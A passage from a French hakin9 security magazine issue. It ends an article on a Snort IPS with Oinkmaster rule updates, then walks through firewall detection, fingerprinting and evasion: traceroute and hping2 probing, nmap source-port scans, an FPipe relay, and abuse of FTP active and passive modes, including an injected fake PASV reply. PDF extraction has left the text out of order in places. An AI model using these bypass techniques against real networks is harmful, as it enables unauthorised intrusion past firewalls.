de votre réseau, il se peut qu'une partie des services ne fonctionnent pas ou bien manifestent des perturbations car l'IPS ne laissera passer que certains paquets. Il est donc préférable de vérifier comment les procédures réagissent au trafic typique de votre réseau en enregistrant les attaques détectées et exclure ces règles qui suscitent de fausses alarmes. C'est à ce moment qu'on peut permettre au périphérique de bloquer les attaques. Mises à jour automatiques Chaque système IDS/IPS, même s'il utilise les règles récentes, devient très vite inactuel. De nouveaux dangers apparaissent aussi rapidement que les systèmes typiques – pour rester efficaces – doivent être régulièrement mis à jour. Les mises à jour manuelles sont assez fastidieuses, www.hakin9.org essayez donc de les automatiser à l'aide de l'outil Oinkmaster version 1.2. Pour cela, outre le programme en tant que tel, vous aurez besoin de ce qu'on appelle OinkCode qui vous permettra d'accéder aux règles destinées aux utilisateurs enregistrés de Snort. Vous pouvez générer le code après vous être logués sur votre compte sur le site de Snort. Oinkmaster est un script en Perl, donc son installation est assez simple : $ tar zxvf oinkmaster-1.2.tar.gz $ cd oinkmaster-1.2 # cp oinkmaster.pl /usr/local/bin/ # cp oinkmaster.conf /etc/ La configuration qui consiste à éditer le fichier oinkmaster.conf ne doit pas poser de problème. Tout d'abord, il faut décider quelles signatures l'on veut télécharger. Vu que vous tenez aux règles les plus récentes, vous modifierez donc la ligne # url = http://www.snort.org/ pub-bin/oinkmaster.cgi/<oinkcode>/ snortrules-snapshot-CURRENT.tar.gz de façon à ôter le caractère # du début de la ligne, et au lieu de <oinkcode>, saisissez le code généré par vous à l'aide du script du site de Snort. Si vous laissez la configuration de l'Oinkmaster comme ça, de nouvelles signatures auront une forme standard, c'est-à-dire, elles informeront sur les attaques détec- Construisez un système de prévention d'intrusions la signature>). C'est très utile quand votre IPS est bien ajusté et vous ne voulez pas que la mise à jour des signatures compromette tout, par exemple active les règles que vous avez décidé à désactiver. Le programme est démarré par la commande : À propos de l'auteur Michał Piotrowski, titulaire de la maîtrise d'informatique, a plusieurs d'années d'expérience dans l'administration des réseaux et des systèmes. Pendant plus de trois années, il travaillait comme inspecteur de sécurité dans une institution supportant l'autorité de certification supérieure dans l'infrastructure polonaise de PKI. Actuellement, il est spécialiste en sécurité téléinformatique dans l'une des plus grandes institutions financières en Pologne. Dans ses moments libres, il s'occupe de la programmation et de la cryptographie. # oinkmaster.pl -o /etc/snort/rules/ Sur Internet • • • • • http://www.snort.org – le site du projet Snort, http://bridge.sourceforge.net – le site du jeu d'outils bridge-utils, http://www.netfilter.org – le site du projet netfilter et du programme iptables, http://www.packetfactory.net/libnet/ – le site de la bibliothèque libnet, http://oinkmaster.sourceforge.net/ – le site du programme Oinkmaster. tées. Quant à vous, vous voulez que les attaques soient bloquées, vous devez donc ajouter au fichier oinkmaster.conf une notation grâce à laquelle toutes les règles téléchargées seront modifiées par le chanP U gement de l'action standard alert en drop : modifysid * "^alert" | "drop". De la même manière, vous pouvez déterminer dans le programme quelles règles seront désactivées par défaut (directive disablesid <n° de B L www.hakin9.org I C I où le paramètre -o définit le répertoire avec de nouvelles règles. Le paramètre -b est aussi très utile car il indique le répertoire dans lequel les fichiers de signatures précédents seront déplacés. Pour que tout fonctionne correctement, après chaque mise à jour des règles, Snort doit être rechargé. Alors, la dernière chose à faire est de créer un simple script qui automatisera tout le processus et l'ajouter à /etc/crontab ou à un fichier d'un autre gestionnaire de tâches. l T É hakin9 Nº 1/2006 53 Tours de passe-passe pour pare-feux Fiche technique Oliver Karow Degré de difficulté On croit souvent que les pare-feux assurent une protection absolue des réseaux contre la plupart des accès non autorisés. Or les pare-feux ont aussi leurs faiblesses et exploiter une mauvaise configuration ou une faiblesse du produit lui-même pour contourner la protection est possible. Dans cet article, nous examinerons comment un intrus peut s'immiscer dans un système en abusant un pare-feu. P rotéger un réseau contre les attaques et les accès non autorisés depuis des réseaux non sécurisés comme Internet fait partie des exigences les plus fondamentales que doivent satisfaire les infrastructures informatiques d'aujourd'hui. C'est dans ce cadre que les pare-feux entrent en jeu. La mission première d'un parefeu est d'isoler des réseaux et de décider si des paquets peuvent passer d'un réseau à l'autre. Il existe différents types de parefeu, qui adoptent des démarches différentes pour satisfaire cette mission fondamentale. Les deux types de pare-feu les plus courants sont les systèmes à filtrage de paquets et les systèmes du niveau applicatif (voir l'Encadré Principes de base des pare-feux). De quelque type qu'il soit, un pare-feu fondera ses décisions d'autoriser ou non un paquet à atteindre sa destination sur une base ou l'autre. Cette base, qui constitue le socle de la politique de sécurité mise en œuvre au niveau du pare-feu, prend la forme de listes d'accès ou de règles de filtrage. Examinons à présent quels sont les possibilités de contourner cette politique en exploitant des règles de filtrage inappropriées, 54 hakin9 Nº 1/2006 les faiblesses des protocoles standards ou les limitations inhérentes aux différents types de pare-feux. Détecter les pare-feux Avant d'attaquer un système derrière un parefeu, un intrus doit commencer par vérifier si un pare-feu est bel et bien présent. Ce n'est pas aussi évident qu'il n'y paraît dans la mesure où il est fréquent que les administrateurs de pare-feux utilisent diverses techniques pour empêcher la détection des pare-feux. Toute- Cet article explique... • • • comment les pare-feux fonctionnent, comment un pare-feu peut être détecté, comment un pare-feu peut être abusé en exploitant une mauvaise configuration ou les faiblesses des solutions de pare-feu. Ce qu'il faut savoir... • • www.hakin9.org vous devez être familiarisé avec TCP/IPv4, vous devez connaître le modèle de référence ISO/OSI. Tromper les pare-feux Principes de base des pare-feux De manière générale, un pare-feu est un système qui intégre plusieurs interfaces avec des réseaux différents et qui est doté d'un mécanisme de filtrage autorisant ou bloquant le trafic entre ces réseaux. On peut classer les pare-feux en fonction de la couche TCP/IP utilisée pour l'analyse et l'autorisation ou le refus de transfert des paquets : Systèmes à filtrage de paquets Les systèmes à filtrage de paquets analysent les paquets au niveau Réseau (couche 3) et Transport (couche 4) du modèle ISO/OSI. Dans ce cas, la décision de filtrage des paquets repose principalement sur les critères suivants : • • • • • • protocole (ICMP, OSPF, AH, ESP, etc.), adresse IP source, adresse IP de destination, port source, port de destination, drapeaux TCP (SYN, ACK, RST, FIN, etc.). Systèmes à filtrage dynamique/avec état Un système à filtrage de paquets avec état (stateful) offre une protection plus large qu'un pare-feu à simple filtrage de paquets car il exécute un suivi pour chaque connexion et conserve les données dans des tables d'état internes. Quand un paquet sortant passe le filtre de paquets (et démarre une connexion), les ports et adresses IP correspondants aux paquets de réponse sont ouverts pour la durée de la connexion puis fermés. En outre, certains systèmes à filtrage avec état sont capables d'ouvrir des ports ou de l'adresse IP de manière dynamique dès lors qu'un client et un serveur ont négocié un nouveau port dans le cadre d'une connexion autorisée. Certains services, par exemple Oracle et Portmapper, utilisent cette caractéristique. Pare-feux à filtrage applicatif Les pare-feux de niveau applicatif sont capables d'analyser les paquets jusqu'à la couche Application du modèle ISO/OSI. À la capacité d'un système à filtrage dynamique/ avec état des paquets, ils ajoutent celle de l'inspection du contenu même des paquets. En d'autres termes, alors qu'un système à filtrage de paquets peut uniquement fonder ses décisions sur les données d'en-tête des paquets, un pare-feu à filtrage applicatif peut, lui, examiner les données spécifiques aux applications. C'est ainsi que ce type de pare-feux peut, par exemple, autoriser les communications HTTP sur le port 80/ TCP tout en bloquant les requêtes comportant des commandes telles que CONNECT ou DELETE. Les pare-feux à filtrage applicatif ont besoin d'un service de proxy spécifique pour chaque protocole qui doit franchir le pare-feu. Comme un service de proxy n'est pas toujours disponible, la plupart des fournisseurs de pare-feux implémentent en outre dans leur solution des capacités de filtrage de paquets ainsi que des services de proxy génériques sans analyse de protocole. Pare-feux hybrides et de couche de niveau 2 De nombreux fournisseurs de pare-feux recourent à une technologie hybride afin de tirer parti des avantages de chaque type de pare-feu. Cela signifie que leurs solutions proposent tant des fonctions de filtrage de paquets avec état que des fonctions de filtrage applicatif. On trouve aussi sur le marché des pare-feux agissant au niveau de la couche 2. Moins populaires que les pare-feux à filtrage de paquets ou applicatifs, ils sont principalement utilisés au niveau de l'interface (cela dépend du fournisseur de la solution). fois, comme un pare-feu peut piéger les résultats d'une attaque, il est important d'en vérifier l'existence. Commençons par voir quelques techniques de détection des pare-feux. Traceroute On utilise la méthode traceroute pour identifier les routeurs qui acheminent les paquets vers leur destination finale. Si un pare-feu est en place, www.hakin9.org il est possible qu'il réponde à un paquet traceroute. Cette méthode étant très ancienne, la plupart des pare-feux bloqueront ces paquets. Cependant, le mode opératoire de traceroute n'étant pas toujours correctement compris, il est des cas où les intrus réussiront à passer au travers d'un pare-feu. Le Listing 1 présente la sortie d'une commande traceroute bloquée par un pare-feu. On constate que la commande traceroute fonctionne jusqu'au moment où elle atteint le système dont l'adresse IP est 10.4.4.254. Quelque chose bloque ensuite la tentative de détermination des routeurs par traceroute. Essayons de comprendre le mode opératoire de traceroute (voir aussi la Figure 1). Pour déterminer le chemin emprunté par un paquet IP, la valeur du champ TTL (durée de vie) de l'en-tête IP du paquet est diminuée d'une unité chaque fois que le paquet atteint un routeur. Si un routeur reçoit un paquet IP dont la valeur TTL est 2, il diminue cette valeur de 1. Si la valeur résultante est égale ou supérieure à 1, le routeur transmet le paquet au routeur suivant (en se basant sur les données de routage). Par contre, quand un routeur reçoit un paquet dont la valeur TTL est 1 et qu'il la diminue d'une unité de sorte que la valeur qui en résulte est zéro, au lieu d'expédier le paquet vers le routeur suivant, il envoie une notification à l'émetteur du paquet pour l'avertir que ce dernier a été éliminé durant son acheminement vers la destination finale. Traceroute commence par envoyer un paquet avec une valeur TTL de 1. Il reçoit une notification ICMP d'expiration TTL du premier routeur. traceroute passe alors la valeur TTL à 2 pour franchir le premier routeur et recevoir une nouvelle notification d'expiration TTL du routeur suivant. Il répète l'opération jusqu'à ce que le paquet arrive à destination. Comme chaque routeur envoie une notification (à condition de ne pas avoir été configuré pour un comportement hakin9 Nº 1/2006 55 Fiche technique Listing 1. Blocage de traceroute par un pare-feu # traceroute www.dummycompany.de traceroute to www.dummycompany.de (10.10.10.10), 30 hops max, 40 byte packets 1 10.255.255.254 0.373 ms 0.203 ms 0.215 ms (...) 10 router.company1.de (10.1.1.254) 88.080 ms 88.319 ms 87.921 ms 11 router.company2.de (10.2.2.254) 87.881 ms 89.541 ms 88.081 ms 12 router.company3.de (10.3.3.254) 86.749 ms 86.919 ms 86.734 ms 13 router.company4.de (10.4.4.254) 87.216 ms 87.312 ms 87.307 ms 14 * * * Figure 1. Fonctionnement de traceroute Listing 2. Utilisation de la méthode traceroute de paquet TCP avec hping2 # hping2 -T -t 1 -S -p 80 www.dummycompany.de HPING www.dummycompany.de (eth0 10.10.10.10 ): S set, § 40 headers + 0 data bytes hop=1 TTL 0 during transit from ip=10.255.255.254 name=UNKNOWN hop=1 hoprtt=12.4 ms (...) hop=10 TTL 0 during transit from ip=10.1.1.254 name=router.company1.de hop=11 TTL 0 during transit from ip=10.2.2.254 name=router.company2.de hop=12 TTL 0 during transit from ip=10.3.3.254 name=router.company3.de hop=13 TTL 0 during transit from ip=10.4.4.254 name=router.company4.de hop=14 TTL 0 during transit from ip=10.5.5.254 name=UNKNOWN len=46 ip=10.10.10.10 flags=SA DF seq=15 ttl=107 id=12852 win=29200 rtt=95.6 ms len=46 ip=10.10.10.10 flags=R DF seq=15 ttl=107 id=12856 win=0 rtt=194.6 ms Listing 3. Envoi d'un paquet à un port fermé # hping2 -S -p 99 -c 1 www.dontexist.com HPING www.dontexist.com (eth0 192.168.10.10): S set, 40 headers + 0 data bytes ICMP Packet filtered from ip=192.168.9.254 différent), traceroute peut dresser la liste des routeurs empruntés pour acheminer un paquet. Il est important de savoir que deux implémentations de traceroute existent. La première utilise des 56 hakin9 Nº 1/2006 § paquets ICMP echo request (par exemple, les implémentations Windows de traceroute), la seconde des paquets UDP (par exemple, la plupart des implémentations *NIX). L'une et l'autre reposent sur le mé- www.hakin9.org canisme TTL. Par conséquent, un administrateur d'un pare-feu devra veiller à filtrer les deux implémentations de traceroute. Traceroute avec paquet TCP Dès lors que le champ TTL est un des champs d'en-tête IP et que les filtres traceroute ordinaires bloquent uniquement les paquets UDP et ICMP, un moyen simple de tenter de contourner le filtrage est d'utiliser un paquet TCP plutôt qu'un paquet UDP ou ICMP. Tentons à nouveau de déterminer le chemin vers notre serveur de destination avec traceroute. Cette fois-ci, nous utiliserons l'outil hping2, qui permet d'envoyer des paquets forgés (voir le Listing 2). On constate qu'un saut de routeur supplémentaire a été identifié. Alors qu'avec la commande traceroute, nous étions bloqués après le 13 ème routeur, hping2 nous a permis d'aller un pas plus loin. Analyse des paquets de réponse Pour vérifier la présence d'un parefeu, il est intéressant de comparer les paquets de réponse des ports ouverts avec ceux des ports fermés. Voici quelques astuces qui peuvent révéler la présence d'un pare-feu. Nous commençons par utiliser hping2 pour envoyer un paquet à un port de notre destination que nous savons ou supposons fermé (voir le Listing 3). Parallèlement, nous écoutons le trafic réseau avec tcpdump (voir le Listing 4). On constate la présence d'un message ICMP destination unreachable (destination non joignable) assorti d'un message admin prohibited filter (filtre d'interdiction admin) provenant de l'adresse 192.168.9.254. Ce message nous indique que l'accès au port 99/TCP sur le système cible est filtré au moyen d'une liste d'accès du routeur. Il s'agit là d'une indication évidente de la présence d'un pare-feu et nous allons à présent nous intéresser à une autre méthode, fondée sur l'analyse des valeurs TTL. Tromper les pare-feux Différences de durée de vie (TTL) On sait que chaque fois qu'un paquet IP franchit un routeur, sa valeur TTL est diminuée de un. Par conséquent, si un serveur est protégé par un pare-feu installé sur un système dédié, les paquets provenant du serveur devraient avoir une valeur TTL différente de ceux provenant du pare-feu. Toute la difficulté est d'obtenir un paquet de réponse des deux systèmes, le serveur et le pare-feu éventuellement présent, et de comparer les valeurs TTL de leurs paquets. Si cette valeur est différente, il est vraisemblable qu'un pare-feu est présent. Pour forcer les deux systèmes à répondre, nous pouvons envoyer un paquet à un port ouvert et un autre à un port fermé du système cible, par exemple le port 80/TCP qui est ouvert et le port 98/TCP qui est fermé (voir le Listing 5). On observe une différence d'une unité entre les deux valeurs TTL. Cette différence nous indique qu'un système de pare-feu protège le serveur cible. Identifier le type de pare-feu Les méthodes abordées ci-dessus nous aident à détecter la présence d'un pare-feu. Si nous pouvons identifier l'adresse IP du pare-feu, nous avons à notre disposition des moyens supplémentaires pour collecter davantage d'informations, par exemple le produit utilisé comme pare-feu ainsi que le système d'exploitation. Relevé d'empreinte TCP Nous allons exploiter le fait que chaque pile IP d'un système d'exploitation présente des caractéristiques uniques pour déterminer le type et la version du système d'exploitation. Comme la plupart des applications de pare-feu influencent le comportement de la pile IP, il est aussi souvent possible de déterminer le type et la version du pare-feu installé. Un outil idéal Listing 4. Surveillance du trafic réseau # tcpdump -i eth0 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 12:59:18.778417 IP 172.16.1.1.1866 > 192.168.10.10.99: § S 1958445360:1958445360(0) win 512 12:59:18.786914 IP 192.168.9.254 > 172.16.1.1 icmp 36: § host 192.168.10.10 unreachable - admin prohibited filter Listing 5. Comparaison des valeurs TTL # hping2 -S -p 80 -c 1 www.randomname.com HPING www.randomname.com (eth0 192.100.100.10): § S set, 40 headers + 0 data bytes len=46 ip=192.100.100.10 flags=SA DF seq=0 ttl=55 id=0 win=5840 rtt=7.6 ms # hping2 -S -p 99 -c 1 www.randomname.com HPING www.randomname.com (eth0 192.100.100.10): § S set, 40 headers + 0 data bytes len=46 ip=192.100.100.10 flags=RA DF seq=0 ttl=56 id=0 win=0 rtt=7.6 ms Listing 6. Relever l'empreinte de l'OS et du pare-feu avec nmap # nmap -sS -F -n -O -p 80,99,443 192.168.190.1 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-09 17:23 CEST Interesting ports on 192.168.190.1: PORT STATE SERVICE 80/tcp open http 99/tcp closed metagram 443/tcp open https Device type: firewall|broadband router|general purpose Running: Checkpoint Solaris 8, Belkin embedded, Sun Solaris 8 OS details: Checkpoint Firewall-1 NG on Sun Solaris 8, § Belkin DSL/Cable Router, Sun Solaris 8, Sun Trusted Solaris 8 à cette fin est nmap et sa capacité intégrée de détection d'OS (voir le Listing 6). Il ne nous a pas fallu scanner plus de trois ports pour arriver à déterminer qu'il s'agit probablement d'un pare-feu Firewall-1 NG de Checkpoint exécuté sur un système d'exploitation Solaris. Intéressons-nous à présent un autre pare-feu (voir le Listing 7) : il s'agira cette fois d'un Symantec Enterprise Firewall. On constate que nmap n'a réussi à identifier ni le système d'exploitation ni le produit de pare-feu. Toutefois, le grand nombre de ports ouverts suggère qu'il pourrait s'agir d'un pare-feu de type proxy, or il n'existe que peu de fournisseurs de ce type de produits. Ceci nous amène à nous pencher, au-delà du relevé d'empreinte avec nmap, sur les ports communs www.hakin9.org de différents produits de pare-feu disponibles sur le marché. Par exemple, le pare-feu Symantec Enterprise Firewall (SEF) réserve deux ports à un usage spécifique, à savoir 2456/TCP pour l'administration via le web et 888/TCP pour l'authentification hors bande (Out of Band, OOB). Si l'on compare les résultats du scan avec les données du Tableau 1, nous franchissons une étape supplémentaire dans l'identification du produit de parefeu. Cela étant, quand il est bien configuré, un pare-feu applicatif tel que SEF ne devrait pas compter un nombre aussi élevé de ports ouverts du côté extérieur. Dans le cas d'un pare-feu CheckPoint 1 Firewall, il existe aussi des ports ouverts spécifiques qui facilitent l'identification du produit. Ce sont, par exemple, les ports d'adminis- hakin9 Nº 1/2006 57 Fiche technique Listing 7. Relever l'empreinte d'un pare-feu Symantec Enterprise Firewall Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-10 13:43 CEST Interesting ports on 192.168.99.1: (The 1193 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 119/tcp open nntp 139/tcp open netbios-ssn 443/tcp open https 481/tcp open dvs 512/tcp open exec 513/tcp open login 514/tcp open shell 554/tcp open rtsp 1720/tcp open H.323/Q.931 2456/tcp open unknown 5631/tcp open pcanywheredata 7070/tcp open realserver No exact OS matches for host (If you know what OS is running § on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi). Tableau 1. Ports ouverts facilitant l'identification du type de pare-feu Produit N° de port Fonction Symantec Enterprise Firewall 888/TCP Démon OOB Symantec Enterprise Firewall 2456/TCP Administration via le web CheckPoint FW1-NG 256/TCP Gestion CheckPoint FW1-NG 257/TCP FW1_log CheckPoint FW1-NG 18181/TCP Protocole CVP d'OPSEC CheckPoint FW1-NG 18190/TCP Interface de gestion Listing 8. Vérification de bannière # > < < < < < < < < netcat www.raptorfirewall.nix 80 HEAD / HTTP/1.0 HTTP/1.1 503 Service Unavailable MIME-Version: 1.0 Server: Simple, Secure Web Server 1.1 Date: Fri, 17 Sep 2004 19:08:35 GMT Connection: close Content-Type: text/html <HTML> <HEAD><TITLE>Firewall Error: Service Unavailable</TITLE></HEAD> tration compris dans la plage 256 à 264/TCP et 18180-18265/TCP. Notez que nmap n'est pas le seul outil disponible pour un relevé d'empreinte de pare-feu. D'autres 58 hakin9 Nº 1/2006 outils, par exemple xprobe ou p0f peuvent aussi être utilisés à cette fin. Vous trouverez davantage d'informations sur les méthodes de relevé d'empreintes dans l'article www.hakin9.org OS fingerprinting – comment ne pas se laisser reconnaître publié dans le n° 4/2004 d'hakin9. Vérification de bannière Afin d'être certain d'identifier correctement le produit de pare-feu concerné, nous pouvons mettre à contribution la technique de vérification de bannière afin de disposer d'informations supplémentaires. Par exemple, la sortie d'un démon HTTP d'un pare-feu Symantec Enterprise Firewall peut être facilement identifiée en raison de la présence de la chaîne Server: Simple, Secure Web Server 1.1 (voir le Listing 8). Toutefois, il ne faut pas prendre les sorties de bannières pour argent comptant car elles peuvent être modifiées pour la plupart des démons. Cela étant, conjuguée à l'empreinte TCP et aux numéros de ports ouverts, la vérification de bannière peut nous servir d'indice supplémentaire dans l'identification du produit utilisé comme pare-feu. Contourner les pare-feux Une fois qu'un intrus a détecté la présence d'un pare-feu et en a identifié le type, il dispose de plusieurs possibilités pour abuser et franchir le pare-feu. Jetons un coup d’œil sur des méthodes qui exploitent une configuration incorrecte des listes d'accès, des faiblesses notoires des protocoles ou des failles connues des produits de pare-feu afin d'accéder illicitement à un système protégé par un pare-feu. Attaques par port source Commençons par les systèmes à simple filtrage de paquets. Ces systèmes fondent leur décision de blocage ou d'autorisation d'un paquet sur l'inspection de l'en-tête IP ou TCP/UDP, en analysant en général les ports et IP source et destination du paquet. Si nous souhaitons créer une simple règle d'accès visant à permettre aux utilisateurs d'un réseau interne de surfer sur le web (ex- Tromper les pare-feux terne), nous n'avons besoin de rien de plus qu'une règle pour le paquet sortant (la requête HTTP) et d'une autre règle pour le paquet entrant (la réponse du serveur web). Pour créer le jeu de règles approprié, on doit savoir d'une part qu'un serveur web utilisant le protocole HTTP, il écoutera par défaut le port 80/TCP et, d'autre part, que le port source utilisé par le client HTTP (le navigateur) est aléatoire mais en principe supérieur à 1024. Le Tableau 2 montre une liste d'accès minimale pour ce cas. À première vue, ce jeu de règles semble inoffensif. La règle 1 autorise les requêtes sortantes HTTP tandis que la règle 2 autorise les paquets de réponse. La troisième règle vise à bloquer tout autre trafic, raison pour laquelle elle est nommée règle d'élimination (cleanup). Une analyse plus attentive de la règle 2 montre qu'il suffit qu'un paquet envoyé depuis Internet (extérieur) à destination du réseau interne ait pour port source le port 80 et pour port de destination un port supérieur à 1024 pour que le filtre l'autorise à passer. Ce type d'attaque est baptisée attaque de port élevé ou par port source car un pirate doit simplement modifier son client de façon à ce que ce dernier utilise comme port source un port connu tel que le port 80/TCP pour être en mesure d'attaquer des services à l'écoute de ports élevés derrière un parefeu. Entre autres services intéressants qui écoutent des ports élevés TCP, on trouve XWindow (6000- Listing 9. Scan normal et scan avec spécification du port source # nmap -sS -p 1-65535 192.168.0.1 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-09 17:01 CEST Interesting ports on 192.168.0.1: (The 1658 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds # nmap -sS -g 80 -p 1024-65535 192.168.0.1 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-09 17:01 CEST Interesting ports on 192.168.0.1: (The 1657 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 80/tcp open http 6000/tcp open X11 Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds 6063/TCP), Windows Terminal Server (3389/TCP) et de nombreux ports d'applications web comme Jakarta Tomcat (8080/TCP) ou BEA WebLogic (7001/TCP). Pour vérifier si un pare-feu est vulnérable à ce type d'attaque, on peut utiliser nmap avec l'option -g, qui permet de spécifier le port source à utiliser. Le Listing 9 montre la différence entre un scan normal et un scan avec spécification du port source. On voit qu'un simple scan avec spécification du port source permet de détecter un port ouvert supplémentaire (6000/TCP). Cependant, l'intrus ne peut se connecter à ce port qu'à condition d'utiliser 80/TCP comme port source du client. Le moyen le plus simple d'établir une connexion utilisant un port source déterminé est d'utiliser FPipe de Foundstone. Quoiqu'il s'agisse d'un outil Windows, FPipe peut être utilisé avec Wine sous Linux. S'il est exécuté avec les options suivantes : > FPipe -l 100 -s 80 -r 6000 192.168.0.1 § il ouvre un listener sur le port local 100. Tous les paquets envoyés à ce port recevront un port source de 80 et seront transmis à l'adresse 192.168.0.1:6000. Lors du test de la protection d'un pare-feu contre les attaques par port source, il convient aussi de tester les ports sources 53 (DNS), 20 (FTP) et 88 (Kerberos). En effet, vu la nature de ces protocoles, les règles de filtrage les concernant laissent à désirer sur certains pare-feux. Pour illustrer ceci, mentionnons à nouveau le pare-feu CheckPoint FW-1 : jusqu'à la version 4.1, il mettait en œuvre un Tableau 2. Liste d'accès minimale pour le trafic HTTP N° IP source IP de destination Port source Port de desti- Action nation 1 Interne Externe >1024/TCP 80/TCP Autoriser Autoriser les requêtes HTTP sortantes du client 2 Externe Interne 80/TCP >1024/TCP Autoriser Accepter la réponse du serveur à une requête HTTP 3 Tous Tous Tous Tous Interdire Règle d'élimination www.hakin9.org Description hakin9 Nº 1/2006 59 Fiche technique Tableau 3. Jeu de règles d'accès du trafic HTTP pour un pare-feu à filtrage avec état N° IP source IP de destination Port source Port de desti- Drapeau nation ACK est nécessaire Action Description 1 Interne Externe >1024/TCP 80/TCP Non Autoriser Autoriser les requêtes HTTP sortantes du client 2 Externe Interne 80/TCP >1024/TCP Oui Autoriser Accepter la réponse du serveur à une requête HTTP 3 Tous Tous Tous Tous – Interdire Règle d'élimination mécanisme de règles implicites (implied rules) autorisant le trafic DNS depuis et vers n’importe où. L'implémentation du filtrage IPSec par Microsoft, qui peut être configuré comme un pare-feu local, souffre d'une vulnérabilité similaire. Une règle de pare-feu invisible et codée en dur autorise tout trafic entrant dont le port source est 88 (Kerberos). Pour se protéger contre cette vulnérabilité, des modifications du Registre sont nécessaires. Pare-feux à filtrage avec état Pour empêcher qu'un intrus n'établisse des connexions à des systèmes internes en simulant une réponse à une requête antérieure, un pare-feu doit faire la différence entre un paquet de réponse et un paquet destiné à ouvrir une nouvelle session. À cette fin, le pare-feu peut analyser les différents drapeaux d'un en-tête TCP. Comme toute nouvelle session TCP/IP démarre par l'envoi d'un drapeau SYN et que tous les paquets suivants ont au moins un drapeau ACK, un pare-feu est en mesure d'utiliser cette différence pour le filtrage. En outre, la table d'état interne au pare-feu permet d'exécuter un suivi des sessions, en particulier pour les communications basées sur UDP. Le Tableau 3 montre que la réponse d'un serveur HTTP ne franchira le pare-feu que si l'en-tête TCP comporte un drapeau ACK. Figure 2. Fonctionnement du mode FTP actif Figure 3. Fonctionnement du mode FTP passif 60 hakin9 Nº 1/2006 www.hakin9.org Tromper les pare-feux Les modes actif et passif de FTP FTP (File Transfer Protocol) utilise deux canaux pour la communication entre un client et un serveur. Le canal de contrôle est utilisé pour l'envoi des commandes au serveur et des réponses au client. Quand des données doivent être transférées, FTP ouvre et utilise un autre canal de communication, le canal de données. Un transfert de données a lieu, par exemple, lors d'un chargement ou téléchargement de fichier mais aussi en réponse à une demande de listage de répertoire. FTP supporte deux modes d'établissement du canal de données : actif ou passif. On distingue l'un et l'autre modes en fonction du système qui établit le canal de données. En mode FTP actif, c'est le serveur FTP qui se connecte au client FTP. Dans ce cas, le client FTP utilise la commande PORT pour indiquer au serveur à quel adresse IP et sur quel port il ouvre le listener qui permettra d'accepter les connexions du serveur FTP. En mode FTP passif, c'est le client FTP qui se connecte au serveur FTP. Dans ce cas, le serveur FTP doit fournir au client FTP l'adresse IP et le port auxquels le client peut se connecter pour établir le canal de données. Pour passer en mode passif, le client doit envoyer une commande PASV au serveur. En réponse, le serveur envoie les données de socket au client sous la forme IP,IP,IP,IP,OFort,OFaible où OFort et OFaible identifient le port (qui est précédé de l'adresse IP séparée par des virgules au lieu de points). Voir aussi les Figures 2 et 3. Dans ce cas, une attaque par port source n'est plus possible et l'intrus doit se tourner vers d'autres techniques. Détournement du mode FTP actif Un des protocoles les plus utilisés sur Internet est le protocole FTP (File Transfer Protocol). FTP peut travailler dans deux modes différents, le mode passif et le mode actif (voir l'Encadré Les modes actif et passif de FTP). La principale différence entre ces deux modes réside dans la manière dont la communication est établie. En mode actif, le client FTP établit la connexion du canal de contrôle et le serveur celle du canal de données. En mode passif, le client FTP prend en charge l'établissement de la connexion pour les deux canaux. Une attaque exploitant le mode FTP actif est une autre forme d'attaque par port source. Dans ce cas-ci, toutefois, le mode FTP actif oblige le pare-feu à autoriser le passage des paquets entrants avec un drapeau SYN pour le canal de données (voir le Tableau 4 pour un exemple de règles de filtrage). Cela signifie que même si le pare-feu inspecte le drapeau SYN, il ne peut empêcher qu'un intrus utilisant le port source 20 établisse une connexion à un service à l'écoute sur un port supérieur à 1024. Pour vérifier si un pare-feu est vulnérable à ce type d'attaque, on peut utiliser nmap comme dans l'exemple précédent mais en donnant cette fois-ci à l'option -g une valeur de 20 (au lieu de 80). Ici aussi, on peut utiliser FPipe pour modifier le port source utilisé en vue d'établir une connexion à un service de port élevé. Détournement du mode FTP passif Si, aujourd'hui, une majorité de serveurs FTP courants supportent le mode passif, ce n'est malheureusement pas le cas de bon nombre des clients FTP (dont le client FTP par défaut de Microsoft). Toutefois, même l'utilisation du mode FTP passif peut ne pas suffire pour protéger un système interne contre les intrusions. Voyons comment s'établit une communication FTP en mode passif. Pour davantage de lisibilité, la connexion est établie à l'aide de netcat (voir le Listing 10). Les six premières lignes montrent un dialogue FTP standard pour l'établissement de la connexion et l'identification du client auprès du serveur FTP. À la ligne 7, le client requiert du serveur qu'il utilise le mode Tableau 4. Jeu de règles autorisant le trafic en mode FTP actif N° IP source IP de destination Port source Port de destination Drapeau ACK est nécessaire Action Description 1 Interne Externe >1024/TCP 21/TCP Non Autoriser Canal de contrôle 2 Externe Interne 21/TCP >1024/TCP Oui Autoriser Canal de contrôle 3 Externe Interne 20/TCP >1024/TCP Non Autoriser Canal de données 4 Interne Externe >1024/TCP 20/TCP Oui Autoriser Canal de données 5 Tous Tous Tous Tous – Interdire Règle d'élimination www.hakin9.org hakin9 Nº 1/2006 61 Fiche technique Listing 10. Communication en mode FTP passif # < > < > < > < nc ftp.hakin9.org 21 220-Welcome to hakin9.org. user anonymous 331 Please specify the password. pass secret 230 Login successful. pasv 227 Entering Passive Mode (192,168,200,23,230,242) Listing 11. Ouverture d'un port par détournement de FTP passif # < > < > < > nc ftp.hakin9.org 21 220-Welcome to hakin9.org. user anonymous 331 Please specify the password. pass secret 230 Login successful. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA227 § Entering Passive Mode (192,168,200,23,0,2) < 500 command not understood: § 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA227 Entering Passive Mode (192,168,200,23,0,22)' passif pour le transfert de données. En réponse (ligne 8), le 